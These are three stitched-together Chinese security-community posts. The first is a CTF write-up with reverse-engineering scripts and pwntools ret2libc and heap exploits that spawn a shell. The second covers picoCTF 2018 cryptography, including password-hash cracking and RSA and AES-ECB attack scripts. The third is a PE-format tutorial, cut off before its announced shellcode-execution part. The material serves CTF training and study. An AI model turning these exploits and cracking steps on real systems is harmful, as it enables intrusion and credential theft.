33 0D 0D 0A 00 00 00 00 00 00 00 00
最后我们即可通过`uncompyle6`等反编译工具来获得`python`的源码，得到源码如下：
#!/usr/bin/env python
# encoding: utf-8
import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i]
print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
else:
print('no,' + st0)
这段代码再简单也不为过了，直接将判断条件删除再运行即可获得flag。
### old-drive
逆向第二题，本来看题目我以为是驱动题，但实际不是。主函数逻辑如下：
首先对输入长度进行检测，很容易判断是40，然后进行了一段`smc`，即`self-modify-code`，自修改代码，也是比较常见的样式，即常量异或。这段`smc`用于解密一段函数，这个函数在最后的比较中是有用到的。接下来将输入前5字节和`flag{`对比，没什么好说的，最后进入`sub4010b0`这个函数中。其中主函数中的`smc`解密脚本如下（`idapython`）：
addr = 0x401000
for i in xrange(0x401260-addr):
PatchByte(addr+i, Byte(addr+i) ^ 0xbb)
第二个`check`逻辑如下：
v3 = byte_4021B8;
do
{
v4 = (unsigned __int8)*v3++;
if ( ((char)a2[v2] ^ 0x86) != v4 )
LABEL_12:
exit(0);
++v2;
}
也是一个比较常见的密文比较，对应的解密脚本如下：
addr = 0x4021b8
flag = "flag{"
for i in xrange(6):
flag += chr(Byte(addr+i) ^ 0x86)
然后进入第三个`check`逻辑中，如下图所示：
熟悉`base64`编码的同学一般能一眼看出来这段算法，就是一个正常的`base64`编码，编码表没任何变化，要想快速识别`base64`算法需要对该算法比较熟悉。首先是`3×8=4×6`，即3个8bit的字符转换成4个6bit的字符，然后查表，每一组分成4份，每一份分别是每一组的高6bit，次高6bit，次底6bit和最低的6bit。还不熟悉的同学可以自己编程，再逆向分析其实现。所以这段算法对应的解密脚本如下：
flag += b64decode("c19zbWNf")
然后进入最后一个`check`逻辑中，如下图所示。
首先定义了一段奇怪的字符串，然后载入输入的后半段，然后进入一个`switch`语句中，循环检测，最后判断是否是#，且循环中每一步的下标对应的字符只能是空格，否则就失败。所以这就是一个迷宫算法了，迷宫的入口点是在字符串偏移`8`的位置上，也就是`g`所处的位置，然后`2aqw`分别代表`上下左右`进行移动。
g + +
+ + ++ +
+ + #+ +
+ ++++ +
+ ++++ +
+ +
由于这个迷宫很小，所以我们很容易就能得到答案了，最后我们再将几个部分练起来即可得到整个的flag。
## pwn
### mycard
pwn第一个题主要堆上的问题，首先主函数有4个功能，分别是`create`、`edit`、`delete`和`exit`，如下图所示，常见的清单型pwn题。
关键的漏洞主要是由于在edit过程中，没有对分配的块大小进行检测，如果重新设置的大小比原来的大，会导致堆溢出的情况发生。由于程序中开启了所有的保护，比较常见的方式是通过`hook`来进行漏洞利用，那么我们首先要泄露出`libc`的基地址。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
那么在这个程序中我们的确是能泄露出`libc`的基地址的，如下图所示。
由于`write`函数设置了固定长度的输入，而堆块上也会存在`libc`的地址，通过泄露该地址，我们就能拿到`libc`的地址，绕过保护，代码如下：
libc = ELF('libc.so.6')
realloc_hook = libc.symbols['__realloc_hook']
libc.address = delete(3) - realloc_hook - 240
然后我们将堆块的地址指向`hook`函数的自动，进一步再将`hook`指向`system`的地址，最后调用`realloc`即可`getshell`。
### rrr
这个题的漏洞主要是栈缓冲区溢出，如下图所示，读取字节过长导致栈溢出，所以能够劫持控制流。
那么这个题方法有很多，由于没有`canary`检测，无论是`stack
pivot`来进行栈迁移执行`shellcode`还是传统的`ret2libc`都行，需要注意的是这里程序中有个随机值异或的过程，最简单的方式就是控制`strlen`的返回值来防止后续字节被修改。
我自己还是通过`ret2libc`来实现的，通过`puts`函数来打印出`got`表项的地址，然后计算出偏移量，返回到主函数再进行一次栈溢出，返回到`system`或`execve`即可`getshell`。
s.recv()
payload = flat([cyclic(48),0, elf.plt['puts'], 0x8048480, elf.got['puts']])
s.send(payload)
puts_addr = u32(s.recvuntil("xf7").ljust(4, 'x00'))
log.success("puts_addr -> {:#x}".format(puts_addr))
s.recv()
libc.address = puts_addr - libc.symbols['puts']
log.success("libc.address -> {:#x}".format(libc.address))
payload = flat([cyclic(48),0, libc.symbols['execve'], 0x8048480,next(libc.search("/bin/sh")),0,0])
s.send(payload)
#s.recv()
s.interactive() | 社区文章 |
# 前言
本篇是Cryptography密码学类的题解。难度从简到难，涉及了一些ctf比赛中常见的密码学套路。部分题目附件已打包。
链接: <https://pan.baidu.com/s/13LVIkBMuUekRLGCsLElIVg> 提取码: 3ei6
# Crypto Warmup 1
## Question
> Crpyto can often be done by hand, here's a message you got from a friend,
> `llkjmlmpadkkc` with the key of `thisisalilkey`. Can you use this
> [table](https://2018shell2.picoctf.com/static/43f28853477d7b2ed52e0efbfb04dff7/table.txt)
> to solve it?.
### Hint
> Submit your answer in our competition's flag format. For example, if you
> answer was 'hello', you would submit 'picoCTF{HELLO}' as the flag.
>
> Please use all caps for the message.
## Solution
维吉尼亚密码，详细内容可以参考[wiki](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher)。解密脚本如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*-
cipher = 'llkjmlmpadkkc'
key = 'thisisalilkey'
message = ''
for i in xrange(len(cipher)):
message += chr(((ord(cipher[i]) - 97) - (ord(key[i]) - 97) + 26) % 26 + 97)
print message
flag:`picoCTF{SECRETMESSAGE}`
# Crypto Warmup 2
## Question
> Cryptography doesn't have to be complicated, have you ever heard of
> something called rot13? `cvpbPGS{guvf_vf_pelcgb!}`
### Hint
> This can be solved online if you don't want to do it by hand!
## Solution
凯撒密码，经过一次rot13就可以恢复原文。
❯ python -c "print 'cvpbPGS{guvf_vf_pelcgb!}'.decode('rot_13')"
picoCTF{this_is_crypto!}
flag:`picoCTF{this_is_crypto!}`
# HEEEEEEERE'S Johnny!
## Question
> Okay, so we found some important looking files on a linux computer. Maybe
> they can be used to get a password to the process. Connect with `nc
> 2018shell1.picoctf.com 5221`. Files can be found here:
> [passwd](https://2018shell2.picoctf.com/static/7a017af70c0b86ab002896616376499e/passwd)
> [shadow](https://2018shell2.picoctf.com/static/7a017af70c0b86ab002896616376499e/shadow).
### Hint
> If at first you don't succeed, try, try again. And again. And again.
>
> If you're not careful these kind of problems can really "rockyou".
## Solution
根据题目名字提示，可以使用[John the
Ripper](https://www.openwall.com/john/)，一款密码破解工具。使用`john`自带的密码表就可以跑出root的密码了。
❯ ./unshadow passwd shadow > ./crack.db
❯ ./john ./crack.db
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Warning: hash encoding string length 98, type id $6
appears to be unsupported on this system; will not load such hashes.
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])
Press 'q' or Ctrl-C to abort, almost any other key for status
kissme (root)
1g 0:00:00:06 DONE 2/3 (2018-10-14 11:56) 0.1529g/s 361.6p/s 361.6c/s 361.6C/s kissme
Use the "--show" option to display all of the cracked passwords reliably
Session completed
❯ nc 2018shell2.picoctf.com 40157
Username: root
Password: kissme
picoCTF{J0hn_1$_R1pp3d_1b25af80}
flag:`picoCTF{J0hn_1$_R1pp3d_1b25af80}`
# caesar cipher 1
## Question
> This is one of the older ciphers in the books, can you decrypt the
> [message](https://2018shell2.picoctf.com/static/1496b9c149dea14875a4f750169a7af1/ciphertext)?
> You can find the ciphertext in /problems/caesar-> cipher-1_4_e4dc6dcfb004bdade0b9ce8e44f1bac4 on the shell server.
### Hint
> caesar cipher [tutorial](https://learncryptography.com/classical-> encryption/caesar-cipher)
## Solution
还是凯撒，爆破一下偏移量，找到有意义的字符串。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
cipher = 'vgefmsaapaxpomqemdoubtqdxoaxypeo'
for j in xrange(25):
flag = ''
for i in cipher:
if ord(i) >= 97 and ord(i) <= 122:
flag += chr(((ord(i) - 97) + j) % 26 + 97)
if ord(i) >= 65 and ord(i) <= 91:
flag += chr(((ord(i) - 65) + j + 26) % 26 + 65)
print flag
结果如下：
vgefmsaapaxpomqemdoubtqdxoaxypeo
whfgntbbqbyqpnrfnepvcureypbyzqfp
xighouccrczrqosgofqwdvsfzqczargq
yjhipvddsdasrpthpgrxewtgardabshr
zkijqweetebtsquiqhsyfxuhbsebctis
aljkrxffufcutrvjritzgyvictfcdujt
bmklsyggvgdvuswksjuahzwjdugdevku
cnlmtzhhwhewvtxltkvbiaxkevhefwlv
domnuaiixifxwuymulwcjbylfwifgxmw
epnovbjjyjgyxvznvmxdkczmgxjghynx
fqopwckkzkhzywaownyeldanhykhizoy
grpqxdllaliazxbpxozfmeboizlijapz
hsqryemmbmjbaycqypagnfcpjamjkbqa
itrszfnncnkcbzdrzqbhogdqkbnklcrb
justagoodoldcaesarcipherlcolmdsc
kvtubhppepmedbftbsdjqifsmdpmnetd
lwuvciqqfqnfecguctekrjgtneqnofue
mxvwdjrrgrogfdhvduflskhuofropgvf
nywxeksshsphgeiwevgmtlivpgspqhwg
ozxyflttitqihfjxfwhnumjwqhtqrixh
payzgmuujurjigkygxiovnkxriursjyi
qbzahnvvkvskjhlzhyjpwolysjvstkzj
rcabiowwlwtlkimaizkqxpmztkwtulak
sdbcjpxxmxumljnbjalryqnaulxuvmbl
tecdkqyynyvnmkockbmszrobvmyvwncm
找到有意义的字符串`justagoodoldcaesarcipherlcolmdsc`，得到flag。
flag:`picoCTF{justagoodoldcaesarcipherlcolmdsc}`
# hertz
## Question
> Here's another simple cipher for you where we made a bunch of substitutions.
> Can you decrypt it? Connect with `nc 2018shell1.picoctf.com 18581`.
### Hint
> NOTE: Flag is not in the usual flag format
## Solution
替换密码，因为给的段落足够长，所以可以对词频进行静态分析，得到替换表，然后恢复原文，[在线工具](https://quipqiup.com/)。
flag:`substitution_ciphers_are_solvable_fuosdblgwv`
# blaise's cipher
## Question
> My buddy Blaise told me he learned about this cool cipher invented by a guy
> also named Blaise! Can you figure out what it says? Connect with `nc
> 2018shell1.picoctf.com 46966`.
### Hint
> There are tools that make this easy.
>
> This cipher was NOT invented by Pascal
## Solution
还是关于维吉尼亚密码（发明者全名为`Blaise De
Vigenère`），和第一题不同的是这题没有提供密钥。但这题给的密文还是相当的长，依然可以使用静态分析，主要的方法有`Kasiski
测试法`和`互重合指数法`。这里使用<https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx做分析。>
得到密钥：`flag`。
然后解密，得到flag。
flag:`picoctf{v1gn3r3_c1ph3rs_ar3n7_bad_cdf08bf0}`
# hertz 2
## Question
> This flag has been encrypted with some kind of cipher, can you decrypt it?
> Connect with `nc 2018shell1.picoctf.com 23479`.
### Hint
> These kinds of problems are solved with a frequency that merits some
> analysis.
## Solution
还是替换密码，不过这次给的密文比较短。
Let's decode this now!
Jea vbpkh glsni dsc obmyf stal jea wqzx usr. P kqi'j gawpata jepf pf fbke qi aqfx ylsgwam pi Ypks. Pj'f qwmsfj qf pd P fswtau q ylsgwam qwlaqux! Shqx, dpia. Eala'f jea dwqr: ypksKJD{fbgfjpjbjpsi_kpyealf_qla_jss_aqfx_txugsyxgti}
根据flag的特征，可以得到线索`ypksKJD=picoCTF`。再使用<https://quipqiup.com/，设置线索进行破解。>
flag:`picoCTF{substitution_ciphers_are_too_easy_vydbopybvn}`
# Safe RSA
## Question
> Now that you know about RSA can you help us decrypt this
> [ciphertext](https://2018shell2.picoctf.com/static/6fc0e4875e66b042896fc9019b7fa9d2/ciphertext)?
> We don't have the decryption key but something about those values looks
> funky..
### Hint
> RSA [tutorial](https://en.wikipedia.org/wiki/RSA_\(cryptosystem))
>
> Hmmm that e value looks kinda small right?
>
> These are some really big numbers.. Make sure you're using functions that
> don't lose any precision!
## Solution
附件给了密文和公钥对：
N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e: 3
ciphertext (c): 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125
`e`很明显太小了，存在 **低加密指数攻击**
，详细可以参考[CTF中RSA的常见攻击方法](https://www.anquanke.com/post/id/84632)。
也就是说加密时，如果明文的三次方依然小于`N`，会导致`mod N`这一步根本没有用到，直接对密文三次开方即可得到明文。
即：
如果明文的三次方比n大，但并不是很大，那么设k，存在以下关系：
爆破k，如果
能开三次根式，那么可以直接得到明文。
爆破脚本：
import gmpy
N = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e = 3
c = 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125
i = 0
while 1:
if(gmpy.root(c + i * N, 3)[1] == 1):
print gmpy.root(c + i * N, 3),i
break
i = i + 1
d = hex(13016382529449106065839070830454998857466392684017754632233929110204433151964285)
print d[2:-1].decode('hex')
flag:`picoCTF{e_w4y_t00_sm411_9f5d2464}`
# caesar cipher 2
## Question
> Can you help us decrypt this
> [message](https://2018shell2.picoctf.com/static/aade48805797b8b842d876e93db27549/ciphertext)?
> We believe it is a form of a caesar cipher. You can find the ciphertext in
> /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell
> server.
### Hint
> You'll have figure out the correct alphabet that was used to encrypt the
> ciphertext from the ascii character set
>
> [ASCII Table](https://www.asciitable.com/)
## Solution
加入了特殊字符的凯撒密码，爆破范围从大小写字母扩大到所有可能的偏移量。脚本如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*-
cipher = '^WQ]1B4iQ/SaO@M1W>V3`AMXcABMO@3\\BMa3QC`3k'
for j in xrange(0,126):
flag = ''
for i in cipher:
flag += chr((ord(i) + j))
print flag
flag:`picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}`
# rsa-madlibs
## Question
> We ran into some weird puzzles we think may mean something, can you help me
> solve one? Connect with `nc 2018shell1.picoctf.com 40440`
### Hint
> [RSA info](https://simple.wikipedia.org/wiki/RSA_algorithm)
## Solution
nc连接服务器，需要根据描述一步步的解决关于RSA加解密的问题：
❯ nc 2018shell1.picoctf.com 40440
0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'>
Hello, Welcome to RSA Madlibs
Keeping young children entertained, since, well, nev3r
Tell us how to fill in the blanks, or if it's even possible to do so
Everything, input and output, is decimal, not hex
#### NEW MADLIB ####
q : 93187
p : 94603
##### WE'RE GONNA NEED THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):
可以双开窗口，边解边答。只要我的手速够快，服务器断线的速度就跟不上我-0-。
不过不知道开头为什么给了一串16进制字符串，解一下直接得到了flag……
❯ python -c "print('7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307d').decode('hex')"
picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}
flag:`picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}`
# SpyFi
## Question
> James Brahm, James Bond's less-franchised cousin, has left his secure
> communication with HQ running, but we couldn't find a way to steal his agent
> identification code. Can you? Conect with `nc 2018shell1.picoctf.com 30399`.
> [Source](https://2018shell2.picoctf.com/static/f3d296ccf53d080f6f8b01fb8e2810f9/spy_terminal_no_flag.py).
### Hint
> What mode is being used?
## Solution
查看程序源码，使用的是AES的ECB模式，padding为16位：
...
def pad(message):
if len(message) % 16 != 0:
message = message + '0' * (16 - len(message) % 16)
return message
def encrypt(key, plain):
cipher = AES.new(key.decode('hex'), AES.MODE_ECB)
return cipher.encrypt(plain).encode('hex')
...
AES-ECB模式的加解密方式如图：
再看程序中默认会发送的字符串：
...
welcome = "Welcome, Agent 006!"
print welcome
sitrep = raw_input("Please enter your situation report: ")
message = """Agent,
Greetings. My situation report is as follows:
{0}
My agent identifying code is: {1}.
Down with the Soviets,
006
""".format(sitrep, agent_code)
message = pad(message)
print encrypt("""key""", message)
...
我们向服务器发送`AAAAAAAAAAA + BBBBBBBBBBBBBBBB +
CCCCCCCCCCCCCCCC`，共11个`A`，16个`B`和`C`。
假设flag为16位的`picoCTF{1234567}`，那么服务器接收到的字符串就会类似如下的形式：
'Agent,\nGreetings' (块 1)
'. My situation r' (块 2)
'eport is as foll' (块 3)
'ows:\nAAAAAAAAAAA' (块 4)
'BBBBBBBBBBBBBBBB' (块 5)
'CCCCCCCCCCCCCCCC' (块 6)
'\nMy agent identi' (块 7)
'fying code is: ' (块 8) <--- 已知
'picoCTF{1234567}' (块 9) <--- 未知
'.Down with the S' (块 10) <--- 已知
接着，少发送一个`C`，就会变成
'Agent,\nGreetings' (块 1)
'. My situation r' (块 2)
'eport is as foll' (块 3)
'ows:\nAAAAAAAAAAA' (块 4)
'BBBBBBBBBBBBBBBB' (块 5)
'CCCCCCCCCCCCCCC\n' (块 6)
'My agent identif' (块 7)
'ying code is: p' (块 8) <--- 在这里我们得到了包含flag第一位的密文，但并不知道第一位具体是什么
'icoCTF{1234567}.' (块 9) <--- 未知
'Down with the So' (块 10) <--- 已知
把块 5替换成块 8的格式化输入
'Agent,\nGreetings' (块 1)
'. My situation r' (块 2)
'eport is as foll' (块 3)
'ows:\nAAAAAAAAAAA' (块 4)
'ying code is: %s' (块 5) <--- 可以逐位爆破%s
'CCCCCCCCCCCCCCC\n' (块 6)
'My agent identif' (块 7)
'ying code is: p' (块 8) <--- 在这里我们得到了包含flag第一位的密文，但并不知道这个密文是什么
'icoCTF{1234567}.' (块 9) <--- 未知
'Down with the So' (块 10) <--- 已知
爆破块 5，如果密文和块 8相同，则表示我们找到了flag的第一位，接下来，再减少一个`C`，使得块 8带有flag的前两位字符。如下：
'Agent,\nGreetings' (块 1)
'. My situation r' (块 2)
'eport is as foll' (块 3)
'ows:\nAAAAAAAAAAA' (块 4)
'ing code is: p%s' (块 5) <--- 同步替换块 5
'CCCCCCCCCCCCCC\nM' (块 6)
'y agent identify' (块 7)
'ing code is: pi' (块 8) <--- 包含flag第一、二位的密文
'coCTF{1234567}.D' (块 9) <--- 未知
'own with the Sov' (块 10) <--- 已知
然后继续爆破flag的第二位。依次循环下去，就可以获得完整的flag。
爆破脚本如下(服务器加密一次后就会断开连接，所以跑完flag所用的时间会比较长)：
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
flag = "picoCTF{"
for j in range(1,14):
p = remote('2018shell1.picoctf.com', 30399)
p.recvuntil('Please enter your situation report: ')
my_msg = "A"*11+"B"*(25-j)
p.sendline(my_msg)
enc_msg = p.recv(1024).decode('hex')
p.close()
for i in range(32,128):
q = remote('2018shell1.picoctf.com', 30399)
q.recvuntil('Please enter your situation report: ')
msg = "A"*11+"B"*(14-j) + flag + chr(i)
q.sendline(msg)
y = q.recv(1024).decode('hex')
q.close()
if y[80:96] == enc_msg[128:144]:
flag += chr(i)
break
print(flag)
flag:`picoCTF{@g3nt6_1$_th3_c00l3$t_2432504}`
# Super Safe RSA
## Question
> Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug
> and decrypt the message? Connect with `nc 2018shell1.picoctf.com 6262`.
### Hint
> Just try the first thing that comes to mind.
## Solution
看一下信息：
c: 6075087024476414532659138701716437603217113412924927299863787548188620337158625
n: 16995743251555690273217604748218275023627813110906708466533535245776011465591891
e: 65537
`n`很小，总共才80位，可以使用爆破的方式解出`p`和`q`
。[在线工具](https://www.alpertron.com.ar/ECM.HTM)
。
得到结果：
p = 166402962209062256362900394698423820317
q = 102136061918194068640310910627905419563823
然后就是很简单的rsa解密了。
from Crypto.Util.number import inverse
p = 166402962209062256362900394698423820317
q = 102136061918194068640310910627905419563823
c = 6075087024476414532659138701716437603217113412924927299863787548188620337158625
n = 16995743251555690273217604748218275023627813110906708466533535245776011465591891
e = 65537
phi = (q-1)*(p-1)
d = inverse(e, phi)
print (hex(pow(c,d,n))[2:-1]).decode('hex')
得到flag。
flag:`picoCTF{us3_l@rg3r_pr1m3$_2461}`
# Super Safe RSA 2
## Question
> Wow, he made the exponent really large so the encryption MUST be safe,
> right?! Connect with `nc 2018shell1.picoctf.com 56543`.
### Hint
> What is the usual value for e?
## Solution
nc连接服务器，发现这回`e`的值不小了，但是又变得和`N`差不多大了，还是参考[CTF中RSA的常见攻击方法](https://www.anquanke.com/post/id/84632)，这里存在
**低解密指数攻击** 。
Wiener表示如果满足：
那么一种基于连分数(一个数论当中的问题)的特殊攻击类型就可以危害RSA的安全。此时需要满足：
如果满足上述条件，通过Wiener Attack可以在多项式时间中分解n。
使用开源工具<https://github.com/pablocelayes/rsa-wiener-attack>
'''
Created on Dec 14, 2011
@author: pablocelayes
'''
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d
if __name__ == "__main__":
print hack_RSA(40276660093351912353325027146420685937733052504816262053896184883506171821807404583368346339215117527771791856465371395445756580309600483928576564180890942975279324690215478497697070066763075254913358736488880708349691537688815542401252154948245178131989398664206152846321309331764046013649756619261071229089, 111583170127578807909192691245137491304582814592836631984536450317481568426014198265987965591526088832329215543505708705754504100598169044438075849117477605468201110960653836265368253728288600909205172996903271308132928634087380939250941030896277683335203499540010766665619316042268962892586456274440478367001)
解得私钥`d`：65537，然后解密：
from Crypto.Util.number import inverse
c = 85669272593914592964238296252223602553240367010559050180727431963691933620008524312226679252731896404760784512941433411361850153756503392392692524466402024374178583928667263379044625258718935929469661451158056304059057475244237032774703099421851155804449755624009586256845110664849184621665767806044750594973
n = 111583170127578807909192691245137491304582814592836631984536450317481568426014198265987965591526088832329215543505708705754504100598169044438075849117477605468201110960653836265368253728288600909205172996903271308132928634087380939250941030896277683335203499540010766665619316042268962892586456274440478367001
e = 40276660093351912353325027146420685937733052504816262053896184883506171821807404583368346339215117527771791856465371395445756580309600483928576564180890942975279324690215478497697070066763075254913358736488880708349691537688815542401252154948245178131989398664206152846321309331764046013649756619261071229089
d = 65537
m = pow(c, d, n)
print hex(m)[2:-1].decode('hex')
flag:`picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_5261983}`
# Super Safe RSA 3
## Question
> The more primes, the safer.. right.?.? Connect with `nc
> 2018shell1.picoctf.com 11423`.
### Hint
> How would you find d if there are more than 2 prime factors of n?
## Solution
这题给我们的数据如下：
c: 2214959746368961374343866619773680463913808855252144119575578619282028038148568609891198127966225495311682540323131579203618894145626046974546075970616339033486317429461235324910794466410074881752239541146624247745072518241741204968025293372054661473208051944193745386532992238774551013797836031291096741
n: 5564465787507426784189854287795264081761345977763964262369153883931335062166838686916377911069328789715623668583315372050520387414170383621534793892389463905512682152442890656361180400315699526374103389751180954335677791471685242043876553878553597343813515063304714971565013966010693181624796612216036537
e: 65537
使用[Alpertron](https://www.alpertron.com.ar/ECM.HTM)分解，`n`可以分解为多个质因子。
解密过程可以参考<https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crt。>
脚本如下：
c = 2214959746368961374343866619773680463913808855252144119575578619282028038148568609891198127966225495311682540323131579203618894145626046974546075970616339033486317429461235324910794466410074881752239541146624247745072518241741204968025293372054661473208051944193745386532992238774551013797836031291096741
n = 5564465787507426784189854287795264081761345977763964262369153883931335062166838686916377911069328789715623668583315372050520387414170383621534793892389463905512682152442890656361180400315699526374103389751180954335677791471685242043876553878553597343813515063304714971565013966010693181624796612216036537
e = 65537
p1 = 2175350609
p2 = 2182560491
p3 = 2196605027
p4 = 2209029391
p5 = 2466547367
p6 = 2510616961
p7 = 2588079563
p8 = 2704140821
p9 = 2736762829
p10 = 2796597043
p11 = 2809479437
p12 = 2829659713
p13 = 2837556643
p14 = 2858051057
p15 = 3032087491
p16 = 3042267581
p17 = 3063304267
p18 = 3102491383
p19 = 3219243151
p20 = 3284737447
p21 = 3392021827
p22 = 3789952469
p23 = 3812358577
p24 = 3858988619
p25 = 3864352469
p26 = 3877179469
p27 = 3910354507
p28 = 3985847791
p29 = 3990903569
p30 = 4041031661
p31 = 4069378073
p32 = 4203209281
primes = [p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13, \
p14, p15, p16, p17, p18, p19, p20, p21, p22, p23, p24, p25, \
p26, p27, p28, p29, p30, p31, p32]
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
# From https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crt
ts = []
xs = []
ds = []
for i in range(len(primes)):
ds.append(modinv(e, primes[i]-1))
m = primes[0]
for i in range(1, len(primes)):
ts.append(modinv(m, primes[i]))
m = m * primes[i]
for i in range(len(primes)):
xs.append(pow((c%primes[i]), ds[i], primes[i]))
x = xs[0]
m = primes[0]
for i in range(1, len(primes)):
x = x + m * ((xs[i] - x % primes[i]) * (ts[i-1] % primes[i]))
m = m * primes[i]
print hex(x%n)[2:-1].decode("hex")
flag:`picoCTF{p_&*q_n0_r*$_t!!_6725536}` | 社区文章 |
## Author：ILU
## 前言
上一篇文章讲了如何从进程的TEB获取PEB，然后再从PEB中的LDR中的加载时的模块链表获取指定模块（Kernel32.dll），并通过断链的形式隐藏kernel32.dll。但是这里的隐藏并不是真正隐藏dll模块，只是在某些情况下看不到，实际上还是可以查得到的。上一篇文章学的过程实在是太久了，琢磨了很久，好在也是整出来了。
本篇文章利用PEB获取到的模块基址，然后一步一步的找到对应的函数，然后再利用函数执行shellcode。
`注意`：编译时选择x86，x64代码还需要做一些简单的修改。
## 正题
在这里的话我们要了解一下PE相关的知识。
#### 什么是PE文件？
PE文件的全称是Portable
Executable，意为可移植的可执行的文件，常见的EXE、DLL、OCX、SYS、COM都是PE文件，PE文件是微软[Windows操作系统](https://baike.baidu.com/item/Windows操作系统/852149)上的[程序文件](https://baike.baidu.com/item/程序文件/10510952)（可能是间接被执行，如DLL）。（摘自百度百科）
#### PE文件的结构
这里简单的以一张图的形式去了解，细节后面慢慢讲。
PE文件的各个部分都有其对应的结构体，这是微软定义好的。我们可以通过结构体指针，获取到对应的值，同时我们用读取进制的软件（比如：HXD）打开PE文件，也够通过这些结构体一个一个的找出其对应的数值。
`突然发现，这东西好像一时半会讲不清楚，涉及的知识点太多了。`
##### DOS头部
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // MZ头
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // 文件头地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
在dos头中我们重点关注`e_magic`和`e_lfanew`，其余成员可以不用纠结。首先，`e_magic`在PE文件中总是为"MZ"，相当于一个标识;然后是`e_lfanew`，我们在3C的位置能够找到它，它指向了文件头的首地址。
##### 文件头
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; // PE标识
IMAGE_FILE_HEADER FileHeader; // 标准文件头
IMAGE_OPTIONAL_HEADER32 OptionalHeader; // 拓展文件头
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
文件头包含了三个内容：PE标识、标准文件头、拓展文件头。在dos头中找到3c的位置，我们就能找到文件头，指向的位置其实是PE标识的位置。也就是说我们可以通过偏移量来找到对应的结构或者数值。
###### 标准文件头
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
###### 拓展文件头
typedef struct _IMAGE_OPTIONAL_HEADER {
//
